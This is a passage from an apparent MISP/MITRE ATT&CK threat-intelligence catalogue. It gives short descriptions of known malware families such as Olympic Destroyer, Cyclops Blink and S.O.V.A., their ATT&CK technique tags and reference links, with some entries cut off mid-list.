- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
Caterpillar WebShell - S0572

[Caterpillar WebShell](https://attack.mitre.org/software/S0572) is a self-developed Web Shell tool created by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123).(Citation: ClearSky Lebanese Cedar Jan 2021)

The tag is: `misp-galaxy:mitre-malware="Caterpillar WebShell - S0572"`

Caterpillar WebShell - S0572 is also known as:

- Caterpillar WebShell

View relationships graph

Caterpillar WebShell - S0572 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6570. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0572">https://attack.mitre.org/software/S0572</a></td>
</tr>
</tbody>
</table>

**Cobian RAT - S0338**

[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)

The tag is: *misp-galaxy:mitre-malware="Cobian RAT - S0338"

Cobian RAT - S0338 is also known as:

• Cobian RAT

View relationships graph

Cobian RAT - S0338 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with
Cardinal RAT - S0348

[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler. (Citation: PaloAlto CardinalRat Apr 2017)

The tag is: `misp-galaxy:mitre-malware="Cardinal RAT - S0348"`

Cardinal RAT - S0348 is also known as:

- Cardinal RAT

View relationships graph

Cardinal RAT - S0348 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
Golden Cup - S0535

[Golden Cup](https://attack.mitre.org/software/S0535) is Android spyware that has been used to target World Cup fans.(Citation: Symantec GoldenCup)

The tag is: `misp-galaxy:mitre-malware="Golden Cup - S0535"`

Golden Cup - S0535 is also known as:

- Golden Cup
Golden Cup - S0535 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 6573. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0535">https://attack.mitre.org/software/S0535</a></td>
</tr>
</tbody>
</table>

**Olympic Destroyer - S0365**

[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer
systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact. (Citation: Talos Olympic Destroyer 2018) (Citation: US District Court Indictment GRU Unit 74455 October 2020)

The tag is: `misp-galaxy:mitre-malware="Olympic Destroyer - S0365"`

Olympic Destroyer - S0365 is also known as:

- Olympic Destroyer

View relationships graph

Olympic Destroyer - S0365 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"` with estimative-language:likelihood-probability="almost-certain"
**Revenge RAT - S0379**

[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)

The tag is: `misp-galaxy:mitre-malware="Revenge RAT - S0379"`

Revenge RAT - S0379 is also known as:

- Revenge RAT

View relationships graph

Revenge RAT - S0379 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1125"` with estimative-language:likelihood-probability="almost-certain"
Table 6575. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0379">https://attack.mitre.org/software/S0379</a></td>
<td></td>
</tr>
</tbody>
</table>

**Rising Sun - S0448**

[Rising Sun](https://attack.mitre.org/software/S0448) is a modular backdoor that was used extensively in [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013) between 2017 and 2019. [Rising Sun](https://attack.mitre.org/software/S0448) infected at least 87 organizations around the world, including nuclear, defense, energy, and financial service companies. Security researchers assessed [Rising Sun](https://attack.mitre.org/software/S0448) included some source code from [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Trojan Duuzer.(Citation: McAfee Sharpshooter December 2018)

The tag is: `misp-galaxy:mitre-malware="Rising Sun - S0448"`

Rising Sun - S0448 is also known as:

- Rising Sun

View relationships graph

Rising Sun - S0448 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 6576. Table References

Links

https://attack.mitre.org/software/S0448
JSS Loader - S0648

[JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020. (Citation: eSentire FIN7 July 2021) (Citation: CrowdStrike Carbon Spider August 2021)

The tag is: `misp-galaxy:mitre-malware="JSS Loader - S0648"`

JSS Loader - S0648 is also known as:

- JSS Loader

View relationships graph

JSS Loader - S0648 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 6577. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0648">https://attack.mitre.org/software/S0648</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/">https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/</a></td>
</tr>
</tbody>
</table>

DEFENSOR ID - S0479

[DEFENSOR ID](https://attack.mitre.org/software/S0479) is a banking trojan capable of clearing a victim's bank account or cryptocurrency wallet and taking over email or social media accounts.
DEFENSOR ID (https://attack.mitre.org/software/S0479) performs the majority of its malicious functionality by abusing Android’s accessibility service. (Citation: ESET DEFENSOR ID)

The tag is: misp-galaxy:mitre-malware="DEFENSOR ID - S0479"

DEFENSOR ID - S0479 is also known as:

- DEFENSOR ID

View relationships graph

DEFENSOR ID - S0479 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

Table 6578. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0479">https://attack.mitre.org/software/S0479</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/">https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/</a></td>
</tr>
</tbody>
</table>

Tiktok Pro - S0558

[Tiktok Pro](https://attack.mitre.org/software/S0558) is spyware that has been masquerading as the TikTok application. (Citation: Zscaler TikTok Spyware)

The tag is: misp-galaxy:mitre-malware="Tiktok Pro - S0558"

Tiktok Pro - S0558 is also known as:

- Tiktok Pro

View relationships graph

Tiktok Pro - S0558 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1630.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6579. Table References
Cyclops Blink - S0687

[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.

(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)

The tag is: `misp-galaxy:mitre-malware="Cyclops Blink - S0687"`

Cyclops Blink - S0687 is also known as:

- Cyclops Blink

View relationships graph

Cyclops Blink - S0687 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with `estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with `estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with `estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with `estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with `estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with `estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6580. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0687">https://attack.mitre.org/software/S0687</a></td>
</tr>
</tbody>
</table>

Trojan-SMS.AndroidOS.FakeInst.a - S0306

[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.FakeInst.a - S0306"

View relationships graph

Trojan-SMS.AndroidOS.FakeInst.a - S0306 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001" with estimative-language:likelihood-probability="almost-certain"
Trojan-SMS.AndroidOS.Agent.ao - S0307

[Trojan-SMS.AndroidOS.Agent.ao](https://attack.mitre.org/software/S0307) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.Agent.ao - S0307"

View relationships graph

Trojan-SMS.AndroidOS.Agent.ao - S0307 has relationships with:


---

Trojan-SMS.AndroidOS.OpFake.a - S0308

[Trojan-SMS.AndroidOS.OpFake.a](https://attack.mitre.org/software/S0308) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.OpFake.a - S0308"

View relationships graph

Trojan-SMS.AndroidOS.OpFake.a - S0308 has relationships with:

Mis-Type - S0084

[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used in [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) by 2012. (Citation: Cylance Dust Storm)

The tag is: `misp-galaxy:mitre-malware="Mis-Type - S0084"`

Mis-Type - S0084 is also known as:

- Mis-Type

View relationships graph

Mis-Type - S0084 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6584. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0084">https://attack.mitre.org/software/S0084</a></td>
</tr>
</tbody>
</table>

S-Type - S0085

[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used in [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) since at least 2013.(Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="S-Type - S0085"

S-Type - S0085 is also known as:

• S-Type

View relationships graph

S-Type - S0085 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6585. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0085">https://attack.mitre.org/software/S0085</a></td>
</tr>
</tbody>
</table>

**Hi-Zor - S0087**

[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)

The tag is: *misp-galaxy:mitre-malware="Hi-Zor - S0087"*

Hi-Zor - S0087 is also known as:
Hi-Zor

**View relationships graph**

Hi-Zor - S0087 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="Hi-Zor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 6586. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0087">https://attack.mitre.org/software/S0087</a></td>
</tr>
</tbody>
</table>

**Miner-C - S0133**

[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)

The tag is: misp-galaxy:mitre-malware="Miner-C - S0133"

**View relationships graph**

Miner-C - S0133 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-
Seth-Locker - S0639

[Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021. (Citation: Trend Micro Ransomware February 2021)

The tag is: `misp-galaxy:mitre-malware="Seth-Locker - S0639"`

Seth-Locker - S0639 is also known as:

- Seth-Locker

View relationships graph

Seth-Locker - S0639 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Aria-body - S0456

[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)

The tag is: `misp-galaxy:mitre-malware="Aria-body - S0456"`

Aria-body - S0456 is also known as:
View relationships graph

Aria-body - S0456 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
S.O.V.A. - S1062

[S.O.V.A.](https://attack.mitre.org/software/S1062) is an Android banking trojan that was first identified in August 2021 and has subsequently been found in a variety of applications, including banking, cryptocurrency wallet/exchange, and shopping apps. [S.O.V.A.](https://attack.mitre.org/software/S1062), which is Russian for "owl", contains features not commonly found in Android malware, such as session cookie theft.(Citation: threatfabric_sova_0921)(Citation: cleafy_sova_1122)

The tag is: `misp-galaxy:mitre-malware="S.O.V.A. - S1062"`

S.O.V.A. - S1062 is also known as:

- S.O.V.A.

View relationships graph

S.O.V.A. - S1062 has relationships with:

- `uses: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001" with estimative-language:likelihood-probability="almost-certain"`
• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1406.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1641.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"

